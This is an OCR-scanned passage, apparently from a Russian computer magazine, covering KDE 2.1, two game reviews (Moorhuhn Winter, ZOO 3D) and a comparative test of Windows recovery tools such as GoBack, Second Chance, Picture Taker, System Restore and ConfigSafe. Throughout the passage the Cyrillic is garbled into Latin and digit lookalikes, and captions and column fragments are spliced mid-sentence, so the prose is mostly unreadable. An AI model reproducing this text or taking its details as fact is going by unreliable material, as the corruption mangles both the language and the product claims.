^eHHyio BepcMio KDE 2.1. Ecjim Bac MHTepecyeT, hto b 


HeM M 3 MeHMJ 10 Cb, MO)KeTe nOHMTaTb BOCbMMCTpaHMH- 
HbiM nepeneHb hobobb6aghmm Ha www.kde.org. TaM 
>Ke bn HaMAeTe MCHepnbiBatoiAyio MHcfiopMauMio o npo- 
AyKTe KDE b pe^OM, m ero AUCTpMbyTMBbi pj\n pa3^MH- 
hnx n/ianfiopM. 

MHCTa^^flUMOHHbie c|3aM/ibi KDE 2.1 p,nn n^aTcfiopMbi 
i386 m RedHat Linux 6.2 m 7.0 ecTb Ha 3 tom Chip CD. 

Mrpbi 

no/iHoe onucaHMe Mrp, KOTopbie mn ny6/iMKyeM b 3 tot 
pa3 bn MO>KeTe h3mtm Ha caMOM Chip CD, a paccKa>Ky 
/lMuib o Aeyx caMbix 3 a 6 aBHbix M 3 hmx. 

Moorhuhn Winter — Edition 

OxoTa Ha Ky p m 14 ! B po^M CTpacTHoro n \ o 6 menf \ oxotn 
BbiCTynaeTe bn, ho Ha stot pa3 HOHbio m 3 mmom. CTpe- 



a DiaBHoe KaK c/ieAyeT npuue/uiTbc^i 

zi/iTb Hy>KHO He nepecraBafl bo Bee hto abmjkotcji, 
a ec^M bn ko BceMy nponeMy cyMeeTe BbiCTpe^OM b 
cocy/ibKy Ha nepBOM AepeBe 3 acTaBMTb 3 BynaTb Me^o- 
AMio maBHoro cnoHcopa (Haribo), Bam cneT nono/iHMT- 
C 5 i Ha 1000 ohkob. yAOBO/ibCTBMe rapaHTMpoBaHO. 

Moorhuhn — sto TecT Ha Tpe 3 BOCTb. Ec^m bn nbji- 
Hbi, to tohho He cnpaBMTecb! 

ZOO 3D 



a He Bee >Kupa<|>bi b Can-fluero oOyneHbi 
xopouiiiM MaHepaM 


KorAa bn b noc/ieAHMM pa 3 6 njim b 30 onapKe? Ec^m 
AOBO/ ibHo asbho, TorAa MO>KeTe nopaAOBaTbCJi, nwp,n 
Ha WMpacfiOB b aMepMKaHCKOM ropoAe CaH-fluero. ny- 
CTb 3 TO Bcero JlMWb CTaTMHHaJl (flOTOrpacflMfl, HO Bee 
paBHO bn HaKOHeu nonyBCTByeTe ce 65 i nocpeAM 3 aro- 
Ha. ■ ■ ■ flMMTpvm AcayAeHKO 
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SOFTWARE c p a b h m t e ji b h bi e t e c t bi 



Wind 


3a uiMTa 


ot 4>aTanbh 


Windows, no/iHocrbio 3amnmeHHaa ot cpaTa^bHbix c6oeB, ocraeTca MeHTon. l1pM3paK «CMHero 
3KpaHa» Hen36e>KHO HaBncaeT Hafl KajKfloii MawMHon, Ha KOTopoii cncreMa npopa6oTa/ia 6o/iee 
no/iyrofla. OflHaKO ecTb naHapea — System Recovery Tools M36aB/ijuoT Windows ot 3tom HanacTn 
n fla>Ke noc/ie no/iHoro Kpaxa nbiTaioTca BepHyTb en pa6oTocnoco6HOCTb. 


B bi CMflMTe flOMa nepefl KOMnbioiepoM m xoime 
McnbuaTb HOByio nporpaMMy. Ilpouecc ycra- 
HOBKM npOXOflMT aBTOMaTMHeCKM. Bbl OTKMflblBae- 
Tecb Ha3afl, npaKTMnecKM He o6paiflafl BHMMaHMA Ha 
zieHMBO ABM/KyiflMMCA MHflMKaiop yciaHOBKM. Bflpyr 
3Kp3H CTaHOBMTCA HepHbIM, >KeCTKMM flMCK OCTaHaB- 
AMBaeTCA. rioc^e ynopHbix nonbiTOK neperpy3MTb 
ManiMHy c noMOiMbio CtrL-ALt- Del Bbi >KMeTe Reset. 
3anyci<aeTCA BIOS, 3aieM noABAAeTCA He6ecHaA cm- 
HeBa 3KpaHa Windows. BHe3anH0 Bee npepbmaeTCA, 
n noABAAeTCA KpaTKoe coo6ifleHMe: «gdi.exe He 
HaMfleH. HeB03M0>KH0 3anycTmb Windows». 

1/lHCTaAAAflMOHHbie nporpaMMbi nofl Windows 
no-CBoeMy KOBapHbi, oco6eHHO Korfla ohm ycra- 
HaB/iMBaiOT nporpaMMbi, rAy6oKO «3apbiBaioiflMe- 
ca» b onepauMOHHyio CMdeMy. HleKOTAMBaA cm- 
Tyauna bo3hm K aeT, Korfla nepe3anMCbiBaeTCA 
OflHa M3 DLL, k KOTopoii o6paiflaiOTCA m flpyrMe 
nporpaMMbi. llporpaMMHoe o6ecneneHMe ywe He 
pa6oTaeT KoppeKTHO, noTOMy hto OflHa M3 DLL 3a- 
MeHeHa 6oAee crapoM mam M3MeHeHHOM Bepcnen. 
Eifle xy>ne, ecAM c6om npoM30iueji bo BpeMA nepe- 


3anMCM KaKoro-/in6o M3 CMdeMHbix cfiaMAOB, — 
Windows MO>KeT onATb 3apa6oiaTb, ho yBepeHHo- 
CTM B KOppeKTHOM pa 60 Te HeKOTOpbIX yCTpOMCTB y 
Bac y>Ke He 6yflei. 

Korfla 3 KpaH craHOBMTCA nepHbiM mam Windows 
BbiflaeT oflHo 3 a ApyrnM coo6ifleHMA 06 oiuM6Kax, 

He BnaflaMTe b OTHaAHMe m BOcno/ib3yMTecb npo- 
rpaMMaMM System Recovery. Ohm BOCcraHOBAT Baiuy 
onepaflMOHHyio CMdeMy b TaKOM BMfle, KaKOM 0Ha 
6bma flo c6oa. 

To, HTO T3KMe yTMA MTbl Heo6xOflMMbl, HaKOHefl 
npM3Ha^a m Microsoft. B Windows Me ywe ecTb 
BCTpoeHHaii nporpaMMa BoccraHOBAeHMA cMCTe- 
Mbi PC Health, ycTpaHAioiflaA CAa6oe MecTO Win- 
dows, — CK/lOHHOCTb K nOTepe CTa6MAbHOCTM M 
CKopocTM npn fl/i MTe/i bHOM 3Kcn/iyaTaunn. Ho 
BpAfl ji m ctomt nepexoflMTb Ha Windows Me mnb- 
KO paflM BCTpoeHHOM yTM/1 MTbl BOCCTaHOBAeHMA 
CMCTeMbi, Korfla cyiflecTByiOT flpyrMe nporpaMMbi. 
Topa3flO npoifle McnbiTaTb pa3/iMHHbie He33BMCM- 
Mbie naxeTbi System Recovery Tools m cpaBHMTb 
mx c PC Health. 3aoflHO OTBeTMTb Ha Bonpoc: 


Hy>KH bi ji m 6yflyT stm nporpaMMbi, ec/iM co BpeMe- 
HeM Windows Me fl o6beTCA npM3H3HMA, to ecTb 
OKa>KyTCA AM OHM JiyHUie M npeflOCTaBAT AM 60 Ab- 
Llie B03M0>KH0CTeM? 

Mbi npoBeAM TecT nATM nporpaMMHbix naKe- 
tob, 0CH0B3HH bix Ha pa3Hbix noflxoflax k peme- 
h m lo npo6AeMbi «CMHero 3KpaHa»: GoBack, 

Second Chance, Picture Taker, System Restore, 
ConfigSafe. 

Tuning Tools n System Recovery 
He ymneaiOTcn flpyr c APyroM 

OflHOBpeMeHHoe npMMeHeHMe Tuning Tools m 
System Recovery abaactca KpnTnnecKOM CMTyaflM- 
eM. HeKOTopbie Tuning Tools TAy6oKO bhcapaiotca 
b CMCTeMy m MoryT CTepeTb cjoaM/i bi, ccJ/opMnpoBaH- 
Hbie flo 3Toro nporpaMMaMM System Recovery, flo 
HauieMy onbiTy, 3to Kacaera nporpaMMbi BOCCTa- 
HOBAeHMA Windows Me. Restore-KaTaAor He camw- 
kom Hafle>KHo 3aiflMifleH Windows, m nacTO onepa- 
AMOHHaA CMCTeMa flonycKaeT o6paifleHMA flpyrMx 
nporpaMM k HeMy. » 
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KNOW-HOW 


Kan padoiaioT nporpaMMU BoccraHOBJieHMfl CHCTeMU 


Ka>KAafl M3 nporpaMM, KOTopbie Mbi npoTecTnpo- 
bbtim, MMeeT codcTBeHHbiM noAxoA k 3aAane. ripn 
BOCCTaHOB/ieHMM CMCTeMbl peHb MA6T 0 TOM, HT06bl 
BepHyrbCH Ha3aA bo BpeMeHM, m Bee McnbuaHHbie 
nporpaMMHbie npoAyKTbi noApa3Ae/inx)T Becb npo- 
uecc BOccTaHOB/ieHM5i Ha c/ieAyiOLAMe 3Tanbi: 

3amma 

f/iaBHan 3aAana nporpaMMbi BOccTaHOB/ieHMn — 
onpeAe^MTb m 3anoMHMTb KOHKpeTHoe cocTonHMe 
Windows. nporpaMMa AO/i>KHa odecnenMTb coxpaH- 
HOdb He To/ibKO (haPmoBOM CMCTeMbl m Registry- 
3anMceM, ho m chaPi/iOB, KOTopbie OHa noTOM pe- 
KOHCTpyM pyeT. fl/lfl 3TOrO, B 3aBMCMM0CTM OT KO/1M- 
necTBa BbidpaHHbix unn 3aiAMTbi c^aM/ioB, TpedyeT- 
cn AOBo/ibHO MHoro MecTa Ha A^CKe. 3Ty 3anMCb 
COCTOflHMfl CMCTeMbl C/ieAOBa/10 dbl 3aiAMTMTb AO- 
no/iHMTe/ibHo: npM BOCCTaHOB/ieHMM CMCTeMbl Win- 
dows Me, HanpMMep, cchopMMpoBaHHbie AaHHbie 
3anMCbiBaiOTC^ b Restore-KaTa/ior. OnepauMOHHan 
CMCTeMa 33B0AMT KaTa/lOr Ha Ka>KAOM JlOrMHeCKOM 
AMCKe OTAe/ibHO. Oh no/iynaeT ziMiub c/iadoe noAO- 
dMe 3aLu,MTbi — aTpMdyr «CKpbiTbm». OmriMa/ibHoe 
peiueHMe 3aKmoHaeTcn b M30/iMpoBaHMM 3aiAM- 
meHHoro cJ)aM/ia ot onepapMOHHOM CMCTeMbl, hto- 
6bi oh He nocTpaAa/i. Tan nocTynaiOT GoBack m 
Second Chance. Ohm pe3epBMpyiOT nacTb >xecTKO- 
ro A^CKa A-n^ cedn m Mcno/ib3yiOT sto npocTpaHCT- 
bo OTAe/ibHo ot Windows. 


Ha6/noAeHMe 

Aono/iHMTe/ibHO Recovery Tool AO/i>KHa npoTOKO- 
TiMpoBaTb M3MeHeHM5i, npoM3BOAMMbie b onepapM- 
ohhom cMCTeMe. Windows Me HanMHaeT 3anMCb 
KOHTpo/ibHbix nyHKTOB (Checkpoints), KorAa npo- 
rpaMMa CBfl3biBaeTcn c Windows Installer. Go- 
Back m Second Chance, HanpMMep, nocTOHHHO 
padoTaioT b pe>KMMe cJ)ohobom odpadOTKM m koh- 
TpO^MpyiOT M3MeHeHM51 B CMCTeMe. 

BoccTaHOB/iemie 

nporpaMMa BOCCTaHOB/ieHMfl CMCTeMbl epaBHM- 
BaeT TeKyiAee cocTonHMe c mthobchhom 3anM- 
Cbio KOHTpo/ibHoro nyHKTa. OHa oTMeHneT Bee 
3aperMCTpMpoBaHHbie pa3/iMHMn. HacKO/ibKo 
no/iHO npoTenaeT stot npouecc, 33 bmcmt ot Toro, 
3a neM Had/iioAaeT KOHTpo/ibHbm nyHKT. B HeM 
AOTI>KHbl dblTb COXpaHeHbl Ba>KHeMLUMe HaCTpOM- 



a Windows Me coxpaHfieT eaxtHbie cncieM- 
Hbie AaHHbie no Ka/ieHAapHOiviy n/iaHy 


km m (f)aM/ibi CMCTeMbl, HTodbi no/ib30BaTe/ib no- 
c/ie BOccTaHOB/ieHM5i MMe/i roTOByio k padOTe 
onepapMOHHyio CMCTeMy. Second Chance m 
P icture Taker noAxoA^T k f\eny M3dMpaTe/ibH0. 
npM padOTe c stmmm npoAyKTaMM no/ib30BaTe/ib 
Mo>neT 3aAaTb od/iacTM, KOTopbie oh xoneT koh- 
TpO/lMpOBaTb, TO eCTb M/1M TO/lbKO peeCTp, MTIM 
TO/lbKO (J)aM/10Byi0 CMCTeMy, M/1M Bbipe3KM M3 TO- 
ro m APyroro. 

KoppeKTypa 

npouecc BOCCTaHOB/ieHM51 CMCTeMbl nOA 
Windows Me Bbi MO>KeTe CHOBa oTMeHMTb, ec/iM 
dbmM CTepTbi M/iM M3MeHeHbi Ba>KHbie 4 )aM^bi. B 
3tom OTHoiueHMM Picture Taker pacno/iaraeT B03- 
MO>KHOCTbK) BbldMpaTb OTAe/lbHbie Cf»aM/lbl BMeC- 
to Toro, HTodbi aHHy/iMpoBaTb Becb npouecc TaK 
>Ke, KaK M npM BOCCTaHOB/ieHMM CMCTeMbl nOA 

Windows Me. 

AeapMMHoe npmvieHeHiie 

BoccTaHOB/ieHMe CMCTeMbl aoti>kho AePicTBOBaTb m 
T orAa, KorAa HMnero do/ibiue He padOTaeT. Second 
Chance m GoBack pacno/iaraxrr cmctcmom 3aLu,M- 
Tbi, He 33BMCJUA6M ot Windows. TaK KaK GoBack 
padOTaeT noA Windows, Bbi MO>KeTe 3anycTMTb nK 
m npM noBpe>KAeHMM KOH4)Mrypau,MM. Second 
Chance npeoAO/ieBaeT stot dapbep, CTapTyn c no- 
MOLAbK) 3arpy30HH0M AUCKeTbl. 


GoBack 2.22 

» CMCTeMa 3aiAMTbi m nocroflHHbiM xoHTpo/ib 3a onepa- 
Amohhom CMCTeMOM o6ecneHM/iM npeBoexoAHbm pe- 
3y/ibTaT TecTa. GoBack neAaHTMHHO npoTOKO/iMpyeT 
Ka>KAoe M3MeHeHMe Ha >KecTKOM AHexe m MO>KeT ot- 
MeHMTb ero no/iHocrbio. JlMiiib BbicoKMe Tpe6oBaHM^ 
k pecypcaM CMCTeMbl nopTAT o6iAee BneHaT/ieHMe. 

Second Chance 2.0 

riporpaMMHbiM naxeT ot Powerquest, b OT/iMHMe ot 
G oBack, pa6oTaeT no npMHLjMny MaxcMMa/ibHOM Ha- 
Ae>KHOCTM CMCTeMbl npM MMHMMa/ibHOM pacxoAe pe- 
cypcoB naM^TM. C noMOiAbio Checkpoints Second 
Chance npeoAO/ieBaeT Aa>xe caMbie ™>xe/ibie cjaa- 
Ta^bHbie c6om CMCTeMbl m B03BpaiAaeT Windows k 
>km3hm. nporpaMMa o6ecneHMBaeT coxpaHHocTb 
Bcex M3MeHeHHblX C^aM/lOB M BOCCTaHaB/lMBaeT MX B 
hmctom pe>KMMe DOS. YnpaB/mTb nporpaMMOM ao- 
CTaTOHHO npocTo: c noMombX) neTbipex «nepex/ix)- 
HaTe/ieM» Bbi KOHTpo/iMpyeTe CMCTeMy m pexoHcrpyM- 
pyeTe ee. BcTpoeHHbm Checkpoint Viewer noMoraeT 
AeTa/lbHO AOBepiUMTb M3MeHeHM51 V\nV\ OTMeHMTb MX. 


Second Chance npoaB/ifleT cbom CM/ibHbie cto- 
poHbi npe>KAe Bcero b ckopoctm m TiAaTe/ibHOCTM 
BoccTaHOB/ieHMii. Office-naxeTaM m ApaPiBepaM 
o6opyAOBaHM5i Second Chance, x co>xa/ieHMio, 
maHcoB ocTaTbc^i b HeM3MeHH0M BMAe He AaeT m 
B 03BpaiAaeT Windows b McxoAHoe co- 
CTO^HMe. J1 m hi b noc^e AecjDparMeHTa- 
Amm >xecTXoro A^cxa Second Chance He 
CMoma CHOBa npMBecTM b AePicTBMe 
Checkpoints. To/ibxo c noMOiAbX) 3a- 
rpy30HH0M AUCxeTbi ohm CTa/i m AOCTyn- 
Hbl M B0CCT3H0BM/1 M CMCTeMy B npe>X- 
HeM COCTOflHMM. Ba>XHeMUJMe 
CMCTeMHbie cJaaM/ibi m Registry-3anMCM 
Second Chance xoHTpo^MpyeT m coxpa- 

HTieT aBTOMaTMHeCXM BO BpeMeHHblX 
paMxax, xoTopbie mo>xho 3aAaTb. no- 
c^e yAa/ieHMA >xM3HeHH0 Ba>XHbix cfiaM- 
tiob Windows, HanpMMep win.com, ao- 

CTaTOHHO OAHOTO H3>XaTMi1 X^aBMlUM M 
oahoto nepe3anycxa, HTo6bi peaHMMM- 
poBaTb Windows. noA Windows Me 


Second Chance xaTeropMnecxM OTxa3a^C5i 3anM- 
cbiBaTb 3arpy30HHyx) A^cxeTy. To^bxo noc^e an- 
rpeMAa ao BepcM m 2.07 Second Chance ccJdopmm- 
poBa^a 6e3yxopM3HeHHyx), roTOByx) x pa6oTe noA 
Me CTapTOByx) A^cxeTy. » 



a Checkpoint Viewer: Second Chance oxcne/iaeT 
Aa>ne OTAe/ibHbie 4>aH/ibi 
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a Bee noA KOHTpo/ieM: Picture Taker cooSiijaeT eaM b Reiannx, 
HTO OHa BOCCTaHaBJIMBaeT 


Picture Taker Personal Edition 3.1 

Co6cTBeHHO, o6/iacTbio npMMeHeHMA nporpaMMbi 
Picture Taker nBnnmcn He6o/ibWMe ceTM, rfle OHa 
6bicipo ycTaHaB/iMBaei Ha juo 6 om xoct naKeibi 
nporpaMM m KOH^Mrypaunn CMCTeM. Ho, npn/io- 
>km b HeMHoro «pyHHoro Tpyfla», Bbi MO>KeTe npn- 
MeHMTb m 3Ty nporpaMMy b KanecTBe System 
Recovery Tool. 

B Tede Picture Taker noKa3a/ia npn/iMHHbie 
pe3y^biaTbi. KaK peecip, TaK m cftan/ioBafl cipyKTy- 
pa 6bi/ii/i BocciaHOB/ieHbi b 3HaHMTe/ibHon dene- 
hm. KaKMe mck/uohchma Ae/iaeT nporpaMMa npn 
BoccTaHOB/ieHMM cMdeMbi, Bbi y3Haeie M3 cnucKa 
b cJaaM/ie Rules.ini. Ec/im xoTMTe npMMeHMTb Apy- 


rne HacTpoMKM, cjaaPi/i npn- 
Aera o6pa6aibiBaTb Bpyn- 
HyiO. BBMAy LAeKOT/lMBOCTM 

3aAaHM 3 to peKOMeHAyeTC^ 

TO/1 bKO OnbITHbIM n0^b30Ba- 
Te/iflM. 

l/IcK/uoHeHM^MM Rules.ini 
o6-bflCH5HOTC5i He caMbie jiyn- 
wne pe3y^biaTbi, KOTopbie 
Picture Taker noKa3biBaeT npn 
OHMCTKe peedpa. B Hawnx 
Teciax Mbi o6Hapy>KM^M 6o/ib- 
lliom /mneye, KorAa Picture 
Taker He yAa/iocb CHOBa no/i- 
HOCTbio yAa^MTb yciaHOB/ieH- 
Hbm nepeA stmm DirectX 8.0 
noA Windows SE. M3-3a stoto 
bo3mo>kh bi npo6/ieMbi: TaK 
KaK pa3Hbie Bepcnn DirectX 
HecoBMecTMMbi, to mnbKO no/iHoe yAa/ieHkie cJaaM- 
/iob DirectX rapaHTMpyeT CTa6n/ibHOCTb CMCTeMbi. 

YnpaB/ieHne nporpaMMOM OKa3a/iocb oneHb 
yAo6HbiM, OHa no3BO/meT ocyiAecTB/i/iTb no/iHbin 
KOHTpO/lb HaA TeMM HaCTflMM CMCTeMbi, KOTOpbie Bbi 
xoTMTe pecTaBpMpoBaTb. Mo>kho Bbi6paTb TaK>Ke ot- 
Ae/ibHbie cjaaM/ibi n/in 3anncn peecTpa. OAHaKO cjaaM/i 
noMOiAM Picture Taker OKa3a/iCfl c/imlijkom CKyAHbiM. 
nporpaMMa bboamt co6cTBeHHbie cneuHa/ibHbie no- 
HATMfl Pictures m Packages. 3tm noHATna eABa pa3- 
/lMHMMbi A-n^ no/ib30BaTe/m, pa6oTaioiAero c npo- 
rpaMMOM BnepBbie. 

nporpaMMa pa6oTaeT co CBoero poAa OKaTbiM 
image-c|DaHjioM — ero 06-beM cocTaB/meT npuMepHo 


no/iOBMHy oOteMa naM/iTU, 3aHMMaeMoro onepauu- 
OHHOM CMCTeMOM, nporpaMMaMM M cfOM/iaMM. TaKOM 
MeTOA rapaHTMpyeT my6oKyio peKOHcrpyKunio 
npe>KHMX COCTOflHMM CMCTeMbi. OAHaKO C03AaHMe 
Customized Picture 33HMMaeT MHoro BpeMeHM m He- 
KOTOpbl M oOteM naMilTM, TaK HTO 3TOT MeTOA Mbl He 
peKOMeHAyeM p,nn Hacroro npnMeHeHM/i. TeM He Me- 
Hee oh no3BO/meT peiuaTb m c/io>KHbie npo6/ieMbi, 
nocKO/ibKy, McxoAfl M3 ocHOBHoro m 6o/iee no3AHMx 
o6pa30B, Bbi MO>KeTe CpaBHMBaTb COCTOflHMfl CMCTe- 
Mbi Me>KAy co6om. 

System Restore (Me) 

BcrpoeHHafl b Windows Me nporpaMMa BOCCTaHOB- 
jieH M53 CMCTeMbi b TecTe noKa3a/ia KaK cn/ibHbie, TaK 
m c/ia6bie CTopoHbi. Microsoft yKa3biBaeT, hto 
S ystem Restore He MO>KeT 3aMeHMTb Uninstaller. 
CTOMT 33nOMHMTb 3TOT MOMeHT. Oan/ibi nporpaMM- 
Horo npoAyKTa, He npnHaA/iewaiAHe Microsoft m/im 
H e Mcno^b3yeMbie Winlnstaller, nporpaMMOM boc- 
CTaHOB/ieHMii CMCTeMbi He 3aTparMBaiOTC5i. noAo6- 
Hbie nporpaMMHbie npoAyKTbi ao/okhw agmohtmpo- 
BaTboi OTAe/ibHO. 

no-ApyroMy o6ctomt p,eno c Office n/in DirectX. 
BoccraHOB/ieHMe 6 o/iee crapon BepcMM DirectX pa- 
6 oTaeT 6e3 bcakhx npo 6 /ieM. YAa/iocb peKOHCTpyn- 
poBaTb Aa>Ke win.com. OAHaKO noc/ie yAa/ieHna 
Office 2000 b 06 /iOMKax AaHHbix ocra/iocb HecKO/ib- 
ko Mera 6 aMT — npeMMyiAecTBeHHO cj/an/ibi noMOiAM. 

npM OHMCTKe peecTpa System Restore pa6oTaeT 
H3Ae>KHO. Bo/lbLDMHCTBO 3anMCeM peCTaBpMpyiOTCfl, 
TaK hto Bbi no/iynaeTe o6paTHo cocro/mne CMCTeMbi 
Windows b oahom m 3 6o/iee paHHMx ctbamm. 3Aecb 


nOBEflMTE/lb TECTA 


Roxio GoBack 2.22 

llOJIHblM KOHTpOilb Hafl CMCTeMOM 

GoBack 3ac/iy>KMBaeT Ha3BaHMH «nporpaMMa BoccTaHOB/ieHMH CMCTeMbi». 
nporpaMMHbiM naneT pa6oTaeT noA Windows n ko HT po/i m pyeT ct>yHKunoHM- 
pOBaHkie Bcex Ba/KHblX KOMnOHeHTOB CMCTeMbi 


+ HenpepbIBHbIM KOHTpO/lb 

IE EHP + BbicoKaa HaAe>KH0CTb coxpaHeHMH AaHHbix 

^»o6/2ooi + npocTOTa oOpaiAeHMH 

- OonbiuoM pacxoA pecypcoB 


UeHa / pe 3 y^bTaT ■■□□□□□110 8 
06maa oueHKa nHODDDDHfflEl 8 


OOo/ioHKa ynpaB/ieHMH He noKa 3 biBaeT Bcero 
MHoroo 6 pa 3 MH 4 )yHKUMM, CKpbiTbix b nporpaMM- 



a Eo/ibiuoM o63op: GoBack tohho BeA©T 
«6yxra/iiepmo». nporpaMMa 3 anMCbi- 
BaeT Ka>Kflbm npouecc b Bameii one- 
paUHOHHOM CMCTeMe 


hom npoAyKTe. GoBack nponBMna b TecTe Benn- 
KonenHbie 4 )yHKi 4 M 0 HanbHbie bo 3 mo>khoctm m 
npocTOTy b oOpaiAeHMM. Bee sto Ae/iaeT GoBack 
noOeAMTeneM TecTa. 

B cueHapunx TecTa npoAyKT Roxio BOCCTaHaB- 
nMBa/i no 6o/ibiueM nacTM HMCTbie KOH^MrypauMM 
Windows. Hm b oahom m 3 BoecTaHOBneHHbix cmc- 

TeM He B 03 HMK /10 HMK 3 K 0 M HeCTaSM/lbHOCTM, XOTH 
peecTp o 6 Hapy>KMn nernne M 3 MeHeHMH no cpaB- 
HeHMio c mcxoahom KOH^MrypauMeM. GoBack ot- 
Ka 3 ana b 3 aAane no yAaneHMio TonbKO Apa^Be- 
poB BMAeoKapT, KorAa nocne ycTaHOBKM 
ApaMBepa BMAeonapTbi ATI 6 bm ycTaHOBneH 
Download Manager Gozilla. GoBack no 3 BO/iM/ia 
BoccTaHOBMTb cocTOHHMe BMHHecTepa TonbKO ne- 
peA nepBOM m/im nepeA btopom MHCTa/i/muneM 
MeHeA>Kepa. 3 aT 0 OHa 0 Ka 3 anacb eAMHCTBeHHoPi 
nporpaMMOM, KOTopan cnpaBMnacb c 3 aAaneM 
nonHoro BoccTaHOB/ieHMH >KecTKoro A^cna, ot- 


4)opMaTMpoBaHHoro noA Windows 98 b pe>KMMe 
MS-DOS. K co>KaneHMK), ec/iM nepesanncbiBaeTcn 
ceKTop HananbHOM 3arpy3KM >KecTKoro A^cna, to 
H e cnacaeT m GoBack. 

AononHMTenbHO k 4)yHKi4MM BOCCTaHOB/ieHMH 
nporpaMMa C03AaeT BMpTyanbHbm auck. Ha HeM 
OHa 3anoMMHaeT coAep>KaHMe npe>KHero coctoh- 
HMH CMCTeMbi M B C/iyHae HeOdXOAMMOCTM M0>KeT 

odpaiAaTbcn k oTAenbHbiM 4)aMnaM v\nv\ KaTano- 
raM. nporpaMMa MHTerpMpyeTcn b KOHTeKCTHoe 
MeHio Windows Explorer m npeAOCTaBnneT b HeM 
oni4Mio, KOTopan no3BonneT noBTopHO odpaiAaTb- 
CH K BepCMHM OTAe/lbHblX 4)aPm0B, COXpaHeHHbIM 
b n poMe>KyTOH hom naMHTM. HeAOCTaTKOM hbtihiot- 
ch donbiuMe TpedoBaHMH k pecypcaM: GoBack 3a- 
HMMaeT 10% odteMa >KecTKoro AMCKa. 

MH(|>opMauMio o nporpaMMe 
mo>kho nauTM Ha www.roxio.com 
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▲ E/iaroflapq System Restore no/ib 30 BaTe/iio a ConfigSafe Bbino/iHaeT He ece, 
npoiue noBepHyTb Bpeivm ccrmTb. flocia- hto odemaeT 

tohho oflHoro Luie/iHKa 


fleMCTByeT CTpaHHoe Ha nepBbm B3r/mA npaBM/io: 
neM 6o/ibwe npoflyKTOB Microsoft 3afleMCTB0BaH0 
ripn BOCCTaHOB/ieHMM CMdeMbi, TeM ziynwe 3Ta npo- 
rpaMMa pa6oiaei. 

Tohkmx HacrpoeK y System Restore, oflHaKO, He 
xBaiaeT. no/ib30BaTe/ib pacno/iaraeT mnbKO omtM- 
ew, no3BO/miOLAeM ycraHaB/iMBaTb onpeAe/ieHHbie 
KOHTpO/lbHbie nyHKTbl, K KOTOpbIM OH MO>KeT Bep- 
HyTbCfl. Bbi He MO>KeTe Bbi6paTb, KaKMe 30Hbi npo- 
rpaMMa flO/DKHa BOCCTaHOBMTb, m He no/iyHMTe toh- 
Hyio MHCjDOpMaUMK) 0 TOM, HTO MMeHHO CAe/ia/ia 
nporpaMMa BOCCTaHOB/ieHMA CMCTeMbi. Ecjim Bbi- 
K/iiOHMTb System Restore, to nponaflyT KOHTpo/ib- 
Hbie nyHKTbl, KOTopbie Bbi y>Ke C03Aa/iM. 3 th nyHKTbl 
CTMpaeT m Windows, ec/in Ha pa3Ae/ie ocraeTcri He- 
flocTaTOHHo MecTa. Restore-KaTa/ior MO>KeT 33 hm- 
MaTb Ha oflHOM pa3fle^e He 6o/iee 13% odteMa. 
Ec/im Windows noTpe6yeTCfl MecTO p,nn hoboto koh- 


Tpo/ibHoro nyHKTa, to stot h o b bi m nyHKT npn 3ann- 
CM COTpeT CTapbie. TMnMHHO MMKpOCOC|DTOBCKOe pe- 
meHMe. 

ConfigSafe Complete Recovery 4.0. 

ComacHO 3aflB/ieHMio npoM3BOAMTe/m, Imagine LAN, 
ConfigSafe peKOHcrpyi/ipyeT roTOByio k pa6oTe cmc- 
TeMy oco6biM cnoco6oM: no/ib30BaTe/ib machtmcJdm- 
AMpyeT i/i yfla/meT Bee Te KOMnoHeHTbi, KOTopbie He- 
cyT OTBeTCTBeHHocTb 3a B03Hi/iKLune npo6/ieMbi. 
1/lMeHHO 6/iaroAapfl TaKOMy cnoco6y nporpaMMa 
ConfigSafe yflo6Ha b o6pameHMi/i c npo6/ieMaTMH- 
HbiMM ycTaHOBKaMM. Ho Korfla penb 3aw/ia o boc- 
CTaHOB/ieHMM KOHcj)MrypauMM CMCTeMbi, ConfigSafe 
eflBa Bbiflep>Ka^a McnbiTaHMe. rioHTM bo Bcex 3afla- 
nax TecTa nporpaMMHbiPi naxeT ziMWb yAa/m/i 6o/ib- 
ujyio nacTb 3anMceM peecrpa m CTMpa/i np/ibiKM. Pe- 
3y/ibraT — owM6oHHafl mp,mau,v\f\: HMHero He 


Emergency Recovery System 


naifeT /yin odecneneHMfl coxpaHHOcm cucieM- 
Hbix (paMiiOB m peeapa Windows 98 


Windows 98 He npeAOCTaB/meT npaKTMnecKM 
HMK3 KOM 3aiAMTbl CMCTeMHbIX 4)aM/10B. Aa- 

>ne 4)aM/i win.com He 3aLu,MLAeH 0T yfla/ieHMa. 
Ec/im HOBbie Apa^aepbi, DLL m/im 3anMCM peecT- 
pa npn MHCTa/i/inuMM 3anMCbiBaiOTCH noBepx 
do/iee CBe>KMx BepcMM, sto MOweT npMBecTM k 
K paxy CMCTeMbi. Ha KpaPiHMM c/iynaM Windows 
npeA/iaraeT 3arpy30HHyio AncneTy, ho OHa mo- 
>neT 3anycTMTb mnbKO «>Ke/ie30» MaiuMHbi. Bbi 
HanpacHO dyAeTe MCKaTb Ha aBapMMHoPi Ancne- 
Te nporpaMMbi, BoccTaHaB/iMBaioinMe Windows 
98. Microsoft bctpom/i nporpaMMy bocct3hob- 
neHMH CMCTeMbi mnbKO b Windows Me. 

TeM He MeHee c noMOLAbio onpeAe/ieHHbix 
nporpaMMHbix naneTOB Bbi cnaceTe m CMCTeMy 
noA Windows 98. Emergency Recovery System 
KSK pa3 M HB/meTCH TeM MHCTpyMeHTOM, c noMO- 
LAbio KOToporo Aa>ne noc/ie ycTaHOBKM AecpeKT- 
Horo nporpaMMHoro odecneneHMH mo>kho o>km- 
BMTb Windows. nporpaMMa odecnenMT 
coxpaHHOCTb no BaiueMy Bbidopy n m6o no/iHoro 
KaTa/iora Windows, undo 168 Ba>KHeMiiiMx cmc- 
TeMHbix m perMCTpauMOHHbix 4)aM/i0B. Ec/im 


Windows do/ibwe He 3anycKaeTcn, to noMO>KeT 
AMCKeTa Hana/ibHOM 3arpy3KM Emergency 
Recovery System. OHa nepenanaeT ouaTbie cmc- 
TeMHbie <T>aM/ibi M3 Backup-KaTanora odpaTHo 
Ha >KeCTKMM AUCK. Ec/im Bbi HacTO ycTaHaB/iMBa- 
eTe HOBbie nporpaMMHbie npoAyKTbi, to 3Ta npo- 
rpaMMa — npocTO noAapoK A-na Bac. nocKO/ibKy 
OHa 3aiAMiAaeT m 3anMCM peecTpa, to noAxoAMT 
m a-hh yAaneHMH CTapbix nporpaMM. Baiua CMCTe- 
Ma ocTaeTcn hmctom, a peecTp He nepeno/iHneT- 
